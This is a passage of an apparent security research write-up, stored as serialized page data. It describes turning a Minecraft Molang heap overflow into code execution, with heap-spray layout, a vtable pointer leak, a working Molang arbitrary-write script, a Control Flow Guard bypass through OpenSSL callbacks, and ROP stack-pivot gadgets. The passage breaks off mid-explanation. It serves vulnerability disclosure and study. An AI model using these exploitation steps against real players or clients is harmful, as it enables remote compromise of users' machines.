",{"type":24,"tag":154,"props":156079,"children":156081},{"className":156080},[],[156082],{"type":29,"value":156083},"cap - 2",{"type":29,"value":156085}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":147,"props":156087,"children":156089},{"code":156088}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[156090],{"type":24,"tag":154,"props":156091,"children":156092},{"__ignoreMap":7},[156093],{"type":29,"value":156088},{"type":24,"tag":20034,"props":156095,"children":156096},{},[],{"type":24,"tag":25,"props":156098,"children":156099},{},[156100,156102,156107,156109,156114,156116,156121,156123,156128,156129,156134],{"type":29,"value":156101},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":154,"props":156103,"children":156105},{"className":156104},[],[156106],{"type":29,"value":151402},{"type":29,"value":156108}," pointer of ",{"type":24,"tag":154,"props":156110,"children":156112},{"className":156111},[],[156113],{"type":29,"value":154206},{"type":29,"value":156115}," in the entity object above, one that would index ",{"type":24,"tag":154,"props":156117,"children":156119},{"className":156118},[],[156120],{"type":29,"value":10726},{"type":29,"value":156122}," and the final ",{"type":24,"tag":154,"props":156124,"children":156126},{"className":156125},[],[156127],{"type":29,"value":154335},{"type":29,"value":156108},{"type":24,"tag":154,"props":156130,"children":156132},{"className":156131},[],[156133],{"type":29,"value":154382},{"type":29,"value":156135}," also in the same entity object above.",{"type":24,"tag":25,"props":156137,"children":156138},{},[156139,156141,156147,156148,156154,156156,156161,156162,156167,156169,156174,156176,156181,156182,156187,156189,156194],{"type":29,"value":156140},"The corrupted variables ",{"type":24,"tag":154,"props":156142,"children":156144},{"className":156143},[],[156145],{"type":29,"value":156146},"variable.corrupted_len_ptr",{"type":29,"value":1826},{"type":24,"tag":154,"props":156149,"children":156151},{"className":156150},[],[156152],{"type":29,"value":156153},"variable.corrupted_cap_ptr",{"type":29,"value":156155}," point to ",{"type":24,"tag":154,"props":156157,"children":156159},{"className":156158},[],[156160],{"type":29,"value":10726},{"type":29,"value":1826},{"type":24,"tag":154,"props":156163,"children":156165},{"className":156164},[],[156166],{"type":29,"value":154335},{"type":29,"value":156168},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":154,"props":156170,"children":156172},{"className":156171},[],[156173],{"type":29,"value":155980},{"type":29,"value":156175},", points to the ",{"type":24,"tag":154,"props":156177,"children":156179},{"className":156178},[],[156180],{"type":29,"value":151402},{"type":29,"value":155187},{"type":24,"tag":154,"props":156183,"children":156185},{"className":156184},[],[156186],{"type":29,"value":154206},{"type":29,"value":156188},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":154,"props":156190,"children":156192},{"className":156191},[],[156193],{"type":29,"value":154206},{"type":29,"value":156195},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":156197,"children":156198},{},[156199],{"type":29,"value":156200},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":20134,"props":156202,"children":156204},{"id":156203},"leaking-pointers",[156205],{"type":29,"value":156206},"Leaking Pointers",{"type":24,"tag":25,"props":156208,"children":156209},{},[156210,156212,156218],{"type":29,"value":156211},"In C++, an object’s first field is typically a ",{"type":24,"tag":154,"props":156213,"children":156215},{"className":156214},[],[156216],{"type":29,"value":156217},"vtable",{"type":29,"value":156219}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":147,"props":156221,"children":156223},{"code":156222}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[156224],{"type":24,"tag":154,"props":156225,"children":156226},{"__ignoreMap":7},[156227],{"type":29,"value":156222},{"type":24,"tag":25,"props":156229,"children":156230},{},[156231,156232,156237,156239,156244,156246,156251,156253,156258,156260,156265,156266,156271,156273,156278],{"type":29,"value":17850},{"type":24,"tag":154,"props":156233,"children":156235},{"className":156234},[],[156236],{"type":29,"value":40416},{"type":29,"value":156238}," field inside a ",{"type":24,"tag":154,"props":156240,"children":156242},{"className":156241},[],[156243],{"type":29,"value":153879},{"type":29,"value":156245}," is at offset ",{"type":24,"tag":154,"props":156247,"children":156249},{"className":156248},[],[156250],{"type":29,"value":154140},{"type":29,"value":156252},". We already control a corrupted variable, ",{"type":24,"tag":154,"props":156254,"children":156256},{"className":156255},[],[156257],{"type":29,"value":156146},{"type":29,"value":156259},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":154,"props":156261,"children":156263},{"className":156262},[],[156264],{"type":29,"value":10726},{"type":29,"value":155187},{"type":24,"tag":154,"props":156267,"children":156269},{"className":156268},[],[156270],{"type":29,"value":154382},{"type":29,"value":156272}," by 2 bytes, which in turn advances ",{"type":24,"tag":154,"props":156274,"children":156276},{"className":156275},[],[156277],{"type":29,"value":156146},{"type":29,"value":156279}," by 2 bytes.",{"type":24,"tag":25,"props":156281,"children":156282},{},[156283,156285,156290,156292,156298,156299,156304,156305,156310,156312,156317],{"type":29,"value":156284},"By moving ",{"type":24,"tag":154,"props":156286,"children":156288},{"className":156287},[],[156289],{"type":29,"value":10726},{"type":29,"value":156291}," so it equals ",{"type":24,"tag":154,"props":156293,"children":156295},{"className":156294},[],[156296],{"type":29,"value":156297},"cap - 0x38",{"type":29,"value":103575},{"type":24,"tag":154,"props":156300,"children":156302},{"className":156301},[],[156303],{"type":29,"value":40416},{"type":29,"value":155187},{"type":24,"tag":154,"props":156306,"children":156308},{"className":156307},[],[156309],{"type":29,"value":156146},{"type":29,"value":156311}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":154,"props":156313,"children":156315},{"className":156314},[],[156316],{"type":29,"value":156217},{"type":29,"value":156318}," pointer. We can then capture that pointer with:",{"type":24,"tag":147,"props":156320,"children":156322},{"code":156321},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[156323],{"type":24,"tag":154,"props":156324,"children":156325},{"__ignoreMap":7},[156326],{"type":29,"value":156321},{"type":24,"tag":25,"props":156328,"children":156329},{},[156330,156332,156337,156339,156344,156346,156351,156353,156359],{"type":29,"value":156331},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":154,"props":156333,"children":156335},{"className":156334},[],[156336],{"type":29,"value":10726},{"type":29,"value":156338}," until it equals ",{"type":24,"tag":154,"props":156340,"children":156342},{"className":156341},[],[156343],{"type":29,"value":156083},{"type":29,"value":156345},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":154,"props":156347,"children":156349},{"className":156348},[],[156350],{"type":29,"value":156217},{"type":29,"value":156352}," address in ",{"type":24,"tag":154,"props":156354,"children":156356},{"className":156355},[],[156357],{"type":29,"value":156358},"variable.saved_vtable_pointer",{"type":29,"value":347},{"type":24,"tag":20034,"props":156361,"children":156362},{},[],{"type":24,"tag":25,"props":156364,"children":156365},{},[156366,156368,156373,156375,156381],{"type":29,"value":156367},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":154,"props":156369,"children":156371},{"className":156370},[],[156372],{"type":29,"value":44769},{"type":29,"value":156374}," to the address ",{"type":24,"tag":154,"props":156376,"children":156378},{"className":156377},[],[156379],{"type":29,"value":156380},"vtable + 0x1000",{"type":29,"value":156382}," looks like this:",{"type":24,"tag":147,"props":156384,"children":156386},{"code":156385},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[156387],{"type":24,"tag":154,"props":156388,"children":156389},{"__ignoreMap":7},[156390],{"type":29,"value":156385},{"type":24,"tag":20134,"props":156392,"children":156394},{"id":156393},"required-heap-layout",[156395],{"type":29,"value":156396},"Required Heap Layout",{"type":24,"tag":25,"props":156398,"children":156399},{},[156400],{"type":29,"value":156401},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":147,"props":156403,"children":156405},{"code":156404}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[156406],{"type":24,"tag":154,"props":156407,"children":156408},{"__ignoreMap":7},[156409],{"type":29,"value":156404},{"type":24,"tag":25,"props":156411,"children":156412},{},[156413,156415,156421,156423,156428,156430,156435,156437,156442,156443,156448],{"type":29,"value":156414},"The first region (",{"type":24,"tag":154,"props":156416,"children":156418},{"className":156417},[],[156419],{"type":29,"value":156420},"Heap Region 1",{"type":29,"value":156422},") contains alternating ",{"type":24,"tag":154,"props":156424,"children":156426},{"className":156425},[],[156427],{"type":29,"value":154206},{"type":29,"value":156429},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":154,"props":156431,"children":156433},{"className":156432},[],[156434],{"type":29,"value":154236},{"type":29,"value":156436}," pointers of ",{"type":24,"tag":154,"props":156438,"children":156440},{"className":156439},[],[156441],{"type":29,"value":154206},{"type":29,"value":1826},{"type":24,"tag":154,"props":156444,"children":156446},{"className":156445},[],[156447],{"type":29,"value":154382},{"type":29,"value":156449}," from the entity object for our main attack.",{"type":24,"tag":25,"props":156451,"children":156452},{},[156453,156455,156461,156463,156468,156470,156475,156477,156482,156484,156489],{"type":29,"value":156454},"The second region (",{"type":24,"tag":154,"props":156456,"children":156458},{"className":156457},[],[156459],{"type":29,"value":156460},"Heap Region 2",{"type":29,"value":156462},") contains interleaved ",{"type":24,"tag":154,"props":156464,"children":156466},{"className":156465},[],[156467],{"type":29,"value":154382},{"type":29,"value":156469},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":154,"props":156471,"children":156473},{"className":156472},[],[156474],{"type":29,"value":156217},{"type":29,"value":156476}," pointer into ",{"type":24,"tag":154,"props":156478,"children":156480},{"className":156479},[],[156481],{"type":29,"value":156146},{"type":29,"value":156483}," during our main attack. It could be any object with a ",{"type":24,"tag":154,"props":156485,"children":156487},{"className":156486},[],[156488],{"type":29,"value":156217},{"type":29,"value":156490},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":156492,"children":156493},{},[156494,156496,156502,156504,156509],{"type":29,"value":156495},"During the attack, overwriting another variable's pointer with\n",{"type":24,"tag":154,"props":156497,"children":156499},{"className":156498},[],[156500],{"type":29,"value":156501},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":156503}," will very likely clobber the ",{"type":24,"tag":154,"props":156505,"children":156507},{"className":156506},[],[156508],{"type":29,"value":154702},{"type":29,"value":156510}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":24,"tag":25,"props":156512,"children":156513},{},[156514],{"type":29,"value":156515},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":24,"tag":25,"props":156517,"children":156518},{},[156519],{"type":29,"value":156520},"The final exploit proceeds in three stages:",{"type":24,"tag":1786,"props":156522,"children":156523},{},[156524,156529,156534],{"type":24,"tag":1790,"props":156525,"children":156526},{},[156527],{"type":29,"value":156528},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":24,"tag":1790,"props":156530,"children":156531},{},[156532],{"type":29,"value":156533},"Perform the heap spray with signs to create the desired layout for the attack",{"type":24,"tag":1790,"props":156535,"children":156536},{},[156537],{"type":29,"value":156538},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":24,"tag":20134,"props":156540,"children":156542},{"id":156541},"initial-corruption-variant-lfh-heap-approach",[156543],{"type":29,"value":156544},"Initial Corruption Variant: LFH Heap Approach",{"type":24,"tag":25,"props":156546,"children":156547},{},[156548],{"type":29,"value":156549},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":24,"tag":25,"props":156551,"children":156552},{},[156553,156555,156560,156561,156567],{"type":29,"value":156554},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":24,"tag":154,"props":156556,"children":156558},{"className":156557},[],[156559],{"type":29,"value":154449},{"type":29,"value":8136},{"type":24,"tag":154,"props":156562,"children":156564},{"className":156563},[],[156565],{"type":29,"value":156566},"last_index",{"type":29,"value":156568}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":24,"tag":25,"props":156570,"children":156571},{},[156572,156574,156579,156580,156585,156587,156592,156594,156599,156601,156606,156608,156614,156615,156621,156622,156628],{"type":29,"value":156573},"The main attack can be arranged by making the resulting index point at the ",{"type":24,"tag":154,"props":156575,"children":156577},{"className":156576},[],[156578],{"type":29,"value":151402},{"type":29,"value":155187},{"type":24,"tag":154,"props":156581,"children":156583},{"className":156582},[],[156584],{"type":29,"value":154382},{"type":29,"value":156586},". From there, the script can overwrite three variable indices at offset ",{"type":24,"tag":154,"props":156588,"children":156590},{"className":156589},[],[156591],{"type":29,"value":154140},{"type":29,"value":156593}," within the ",{"type":24,"tag":154,"props":156595,"children":156597},{"className":156596},[],[156598],{"type":29,"value":154382},{"type":29,"value":156600}," by using the string type. This works because a Molang string's value is just a ",{"type":24,"tag":154,"props":156602,"children":156604},{"className":156603},[],[156605],{"type":29,"value":56907},{"type":29,"value":156607}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":24,"tag":154,"props":156609,"children":156611},{"className":156610},[],[156612],{"type":29,"value":156613},"0xfb",{"type":29,"value":191},{"type":24,"tag":154,"props":156616,"children":156618},{"className":156617},[],[156619],{"type":29,"value":156620},"0xfc",{"type":29,"value":1826},{"type":24,"tag":154,"props":156623,"children":156625},{"className":156624},[],[156626],{"type":29,"value":156627},"0xfd",{"type":29,"value":156629}," the script would do:",{"type":24,"tag":147,"props":156631,"children":156633},{"code":156632},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[156634],{"type":24,"tag":154,"props":156635,"children":156636},{"__ignoreMap":7},[156637],{"type":29,"value":156632},{"type":24,"tag":25,"props":156639,"children":156640},{},[156641,156643,156648,156649,156655,156657,156662],{"type":29,"value":156642},"That line would write the ",{"type":24,"tag":154,"props":156644,"children":156646},{"className":156645},[],[156647],{"type":29,"value":56907},{"type":29,"value":93451},{"type":24,"tag":154,"props":156650,"children":156652},{"className":156651},[],[156653],{"type":29,"value":156654},"0x302700fb00fc00fd",{"type":29,"value":156656}," (string's FNV-1 hash) into the allocated ",{"type":24,"tag":154,"props":156658,"children":156660},{"className":156659},[],[156661],{"type":29,"value":154382},{"type":29,"value":156663}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":24,"tag":395,"props":156665,"children":156667},{"id":156666},"hijacking-execution",[156668],{"type":29,"value":156669},"Hijacking Execution",{"type":24,"tag":25,"props":156671,"children":156672},{},[156673,156675,156680,156682,156688],{"type":29,"value":156674},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":24,"tag":154,"props":156676,"children":156678},{"className":156677},[],[156679],{"type":29,"value":156217},{"type":29,"value":156681}," and function pointers in the writable ",{"type":24,"tag":154,"props":156683,"children":156685},{"className":156684},[],[156686],{"type":29,"value":156687},".data",{"type":29,"value":156689}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":24,"tag":25,"props":156691,"children":156692},{},[156693],{"type":29,"value":156694},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":24,"tag":25,"props":156696,"children":156697},{},[156698],{"type":29,"value":156699},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":24,"tag":25,"props":156701,"children":156702},{},[156703],{"type":24,"tag":84,"props":156704,"children":156706},{"alt":51850,"src":156705},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":24,"tag":25,"props":156708,"children":156709},{},[156710,156712,156718,156720,156726,156728,156733,156735,156740,156742,156748,156750,156755,156757,156763,156765,156770],{"type":29,"value":156711},"This snippet calls a method on an object: ",{"type":24,"tag":154,"props":156713,"children":156715},{"className":156714},[],[156716],{"type":29,"value":156717},"rcx",{"type":29,"value":156719}," holds the object pointer, the first ",{"type":24,"tag":154,"props":156721,"children":156723},{"className":156722},[],[156724],{"type":29,"value":156725},"mov",{"type":29,"value":156727}," loads the object's ",{"type":24,"tag":154,"props":156729,"children":156731},{"className":156730},[],[156732],{"type":29,"value":156217},{"type":29,"value":156734}," into ",{"type":24,"tag":154,"props":156736,"children":156738},{"className":156737},[],[156739],{"type":29,"value":58047},{"type":29,"value":156741},", and the function pointer at ",{"type":24,"tag":154,"props":156743,"children":156745},{"className":156744},[],[156746],{"type":29,"value":156747},"rax + 0x8",{"type":29,"value":156749}," is read into ",{"type":24,"tag":154,"props":156751,"children":156753},{"className":156752},[],[156754],{"type":29,"value":58047},{"type":29,"value":156756},". Finally, ",{"type":24,"tag":154,"props":156758,"children":156760},{"className":156759},[],[156761],{"type":29,"value":156762},"__guard_dispatch_icall_fptr",{"type":29,"value":156764}," is called - this is the CFG dispatch function that validates ",{"type":24,"tag":154,"props":156766,"children":156768},{"className":156767},[],[156769],{"type":29,"value":58047},{"type":29,"value":156771}," as a legal call target before invoking it.",{"type":24,"tag":25,"props":156773,"children":156774},{},[156775],{"type":29,"value":156776},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":24,"tag":25,"props":156778,"children":156779},{},[156780],{"type":24,"tag":84,"props":156781,"children":156783},{"alt":51850,"src":156782},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":24,"tag":25,"props":156785,"children":156786},{},[156787,156789,156795,156797,156803],{"type":29,"value":156788},"Here, the function pointer at ",{"type":24,"tag":154,"props":156790,"children":156792},{"className":156791},[],[156793],{"type":29,"value":156794},"vtable + 0x10",{"type":29,"value":156796}," is loaded into ",{"type":24,"tag":154,"props":156798,"children":156800},{"className":156799},[],[156801],{"type":29,"value":156802},"rdx",{"type":29,"value":156804}," and then called directly.",{"type":24,"tag":25,"props":156806,"children":156807},{},[156808],{"type":29,"value":156809},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":24,"tag":25,"props":156811,"children":156812},{},[156813,156815,156820],{"type":29,"value":156814},"So the remaining task is to locate OpenSSL function or ",{"type":24,"tag":154,"props":156816,"children":156818},{"className":156817},[],[156819],{"type":29,"value":156217},{"type":29,"value":156821}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":24,"tag":20134,"props":156823,"children":156825},{"id":156824},"locating-overwrite-targets",[156826],{"type":29,"value":156827},"Locating Overwrite Targets",{"type":24,"tag":25,"props":156829,"children":156830},{},[156831,156833,156839,156840,156845,156847,156852,156854,156860],{"type":29,"value":156832},"One of the first targets we identified were the ",{"type":24,"tag":154,"props":156834,"children":156836},{"className":156835},[],[156837],{"type":29,"value":156838},"malloc",{"type":29,"value":1826},{"type":24,"tag":154,"props":156841,"children":156843},{"className":156842},[],[156844],{"type":29,"value":151450},{"type":29,"value":156846}," callbacks. These reside in the ",{"type":24,"tag":154,"props":156848,"children":156850},{"className":156849},[],[156851],{"type":29,"value":156687},{"type":29,"value":156853}," section and are invoked whenever they don’t match the expected ",{"type":24,"tag":154,"props":156855,"children":156857},{"className":156856},[],[156858],{"type":29,"value":156859},"OPENSSL_malloc/free",{"type":29,"value":133308},{"type":24,"tag":25,"props":156862,"children":156863},{},[156864],{"type":24,"tag":84,"props":156865,"children":156867},{"alt":51850,"src":156866},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":24,"tag":25,"props":156869,"children":156870},{},[156871],{"type":29,"value":156872},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":24,"tag":25,"props":156874,"children":156875},{},[156876,156878,156884,156886,156892,156894,156899],{"type":29,"value":156877},"Later, we found another promising function: ",{"type":24,"tag":154,"props":156879,"children":156881},{"className":156880},[],[156882],{"type":29,"value":156883},"ossl_ec_key_new_method_int",{"type":29,"value":156885},". This function creates and initializes an ",{"type":24,"tag":154,"props":156887,"children":156889},{"className":156888},[],[156890],{"type":29,"value":156891},"EC_KEY",{"type":29,"value":156893}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":24,"tag":154,"props":156895,"children":156897},{"className":156896},[],[156898],{"type":29,"value":156687},{"type":29,"value":156900},") containing function pointers:",{"type":24,"tag":25,"props":156902,"children":156903},{},[156904],{"type":24,"tag":84,"props":156905,"children":156907},{"alt":51850,"src":156906},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":24,"tag":25,"props":156909,"children":156910},{},[156911,156913,156919,156920,156926,156928,156933,156935,156941,156943,156948,156950,156955,156957,156962],{"type":29,"value":156912},"In the image above, ",{"type":24,"tag":154,"props":156914,"children":156916},{"className":156915},[],[156917],{"type":29,"value":156918},"ret->meth",{"type":29,"value":126772},{"type":24,"tag":154,"props":156921,"children":156923},{"className":156922},[],[156924],{"type":29,"value":156925},"default_ec_key_meth",{"type":29,"value":156927},", which points to a structure of function pointers located in ",{"type":24,"tag":154,"props":156929,"children":156931},{"className":156930},[],[156932],{"type":29,"value":156687},{"type":29,"value":156934},". It then calls ",{"type":24,"tag":154,"props":156936,"children":156938},{"className":156937},[],[156939],{"type":29,"value":156940},"ret->meth->init",{"type":29,"value":156942},", passing the ",{"type":24,"tag":154,"props":156944,"children":156946},{"className":156945},[],[156947],{"type":29,"value":18932},{"type":29,"value":156949}," pointer (",{"type":24,"tag":154,"props":156951,"children":156953},{"className":156952},[],[156954],{"type":29,"value":1824},{"type":29,"value":156956},"). This alone isn’t especially useful because ",{"type":24,"tag":154,"props":156958,"children":156960},{"className":156959},[],[156961],{"type":29,"value":1824},{"type":29,"value":156963}," is heap-allocated.",{"type":24,"tag":25,"props":156965,"children":156966},{},[156967,156969,156974],{"type":29,"value":156968},"But, if we look at how ",{"type":24,"tag":154,"props":156970,"children":156972},{"className":156971},[],[156973],{"type":29,"value":156940},{"type":29,"value":156975}," is invoked in the disassembly:",{"type":24,"tag":25,"props":156977,"children":156978},{},[156979],{"type":24,"tag":84,"props":156980,"children":156982},{"alt":51850,"src":156981},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":156984,"children":156985},{},[156986,156987,156992,156994,156999,157001,157006,157008,157013,157015,157020,157022,157027,157029,157034,157036,157042],{"type":29,"value":9121},{"type":24,"tag":154,"props":156988,"children":156990},{"className":156989},[],[156991],{"type":29,"value":156940},{"type":29,"value":156993}," is not ",{"type":24,"tag":154,"props":156995,"children":156997},{"className":156996},[],[156998],{"type":29,"value":55768},{"type":29,"value":157000},", it is called while ",{"type":24,"tag":154,"props":157002,"children":157004},{"className":157003},[],[157005],{"type":29,"value":58047},{"type":29,"value":157007}," still contains the value of ",{"type":24,"tag":154,"props":157009,"children":157011},{"className":157010},[],[157012],{"type":29,"value":156918},{"type":29,"value":157014}," - that is, a pointer to the structure in ",{"type":24,"tag":154,"props":157016,"children":157018},{"className":157017},[],[157019],{"type":29,"value":156687},{"type":29,"value":157021}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":154,"props":157023,"children":157025},{"className":157024},[],[157026],{"type":29,"value":156925},{"type":29,"value":157028}," with a pointer to a region in ",{"type":24,"tag":154,"props":157030,"children":157032},{"className":157031},[],[157033],{"type":29,"value":156687},{"type":29,"value":157035}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":154,"props":157037,"children":157039},{"className":157038},[],[157040],{"type":29,"value":157041},"mov rsp, rax; ret",{"type":29,"value":157043},"-style gadget.",{"type":24,"tag":25,"props":157045,"children":157046},{},[157047,157049,157054,157056,157061],{"type":29,"value":157048},"Although we discovered that ",{"type":24,"tag":154,"props":157050,"children":157052},{"className":157051},[],[157053],{"type":29,"value":156883},{"type":29,"value":157055}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":154,"props":157057,"children":157059},{"className":157058},[],[157060],{"type":29,"value":156859},{"type":29,"value":157062}," callbacks.",{"type":24,"tag":20134,"props":157064,"children":157066},{"id":157065},"stack-pivot",[157067],{"type":29,"value":157068},"Stack Pivot",{"type":24,"tag":25,"props":157070,"children":157071},{},[157072,157074,157079,157081,157086,157088,157093,157095,157101],{"type":29,"value":157073},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":154,"props":157075,"children":157077},{"className":157076},[],[157078],{"type":29,"value":156687},{"type":29,"value":157080},", overwrite ",{"type":24,"tag":154,"props":157082,"children":157084},{"className":157083},[],[157085],{"type":29,"value":156925},{"type":29,"value":157087}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":154,"props":157089,"children":157091},{"className":157090},[],[157092],{"type":29,"value":156883},{"type":29,"value":157094},". This ultimately calls ",{"type":24,"tag":154,"props":157096,"children":157098},{"className":157097},[],[157099],{"type":29,"value":157100},"default_ec_key_meth->init",{"type":29,"value":157102},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":157104,"children":157105},{},[157106,157108,157114,157116,157122],{"type":29,"value":157107},"We chose to overwrite the ",{"type":24,"tag":154,"props":157109,"children":157111},{"className":157110},[],[157112],{"type":29,"value":157113},"OPENSSL_free",{"type":29,"value":157115}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":154,"props":157117,"children":157119},{"className":157118},[],[157120],{"type":29,"value":157121},"OPENSSL_malloc",{"type":29,"value":157123}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":157125,"children":157126},{},[157127,157129,157135,157136,157142,157144,157149],{"type":29,"value":157128},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":154,"props":157130,"children":157132},{"className":157131},[],[157133],{"type":29,"value":157134},"add rsp, 0x10; pop r14; ret",{"type":29,"value":1826},{"type":24,"tag":154,"props":157137,"children":157139},{"className":157138},[],[157140],{"type":29,"value":157141},"xchg rsp, rax; ret",{"type":29,"value":157143},". The exploit writes them into ",{"type":24,"tag":154,"props":157145,"children":157147},{"className":157146},[],[157148],{"type":29,"value":156687},{"type":29,"value":157150}," like this:",{"type":24,"tag":147,"props":157152,"children":157154},{"code":157153}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret 